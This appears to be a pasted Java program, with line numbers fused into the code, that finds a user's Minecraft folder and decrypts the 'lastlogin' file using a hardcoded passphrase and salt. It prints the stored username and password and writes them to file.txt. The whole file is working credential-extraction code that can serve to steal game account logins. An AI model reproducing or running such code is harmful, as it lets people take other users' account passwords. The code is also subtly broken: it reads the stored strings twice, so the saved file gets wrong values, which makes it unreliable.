eMeeXY5k

1import java.io.*;
2import java.util.Random;
3import javax.crypto.Cipher;
4import javax.crypto.CipherInputStream;
5import javax.crypto.SecretKey;
6import javax.crypto.SecretKeyFactory;
7import javax.crypto.spec.PBEKeySpec;
8import javax.crypto.spec.PBEParameterSpec;
9import java.util.*;
10import java.util.Properties;
11
12public class Main {
13
14	public static File getMinecraftDir() {
15		String os = System.getProperty("os.name", "").toLowerCase();
16		String home = System.getProperty("user.home", ".");
17
18		if (os.contains("win")) {
19			String appdata = System.getenv("APPDATA");
20			if (appdata != null) {
21				return new File(appdata, ".minecraft");
22			} else {
23				return new File(home, ".minecraft");
24			}
25		} else if (os.contains("mac")) {
26			return new File(home, "Library/Application Support/minecraft");
27		} else {
28			return new File(home, ".minecraft/");
29		}
30	}
31// Looks for the .minecraft folder..I think
32	public static void main(String[] args) {
33		try {
34			Random random = new Random(43287234L);
35			byte[] salt = new byte[8];
36			random.nextBytes(salt);
37			PBEParameterSpec pbeParamSpec = new PBEParameterSpec(salt, 5);
38			SecretKey pbeKey = SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(new PBEKeySpec("passwordfile".toCharArray()));
39			Cipher cipher = Cipher.getInstance("PBEWithMD5AndDES");
40			cipher.init(2, pbeKey, pbeParamSpec);
41			File passFile = new File(getMinecraftDir(), "lastlogin");
42// Looks for the lass login
43			DataInputStream dis = null;
44			if (cipher != null) {
45				dis = new DataInputStream(new CipherInputStream(new FileInputStream(passFile), cipher));
46			} else {
47				dis = new DataInputStream(new FileInputStream(passFile));
48			}
49			FileWriter outFile = new FileWriter("file.txt");
50			PrintWriter out = new PrintWriter(outFile);
51
52			System.out.println("Username: " + dis.readUTF());
53			System.out.println("Password: " + dis.readUTF());
54			out.println("Username: " + dis.readUTF());
55			out.println("Password: " + dis.readUTF());
56			out.close();
57//This logs the lastlogin into a .txt file.
58			dis.close();
59		} catch (Exception ex) {
60			ex.printStackTrace();
61		}
62
63	}
64}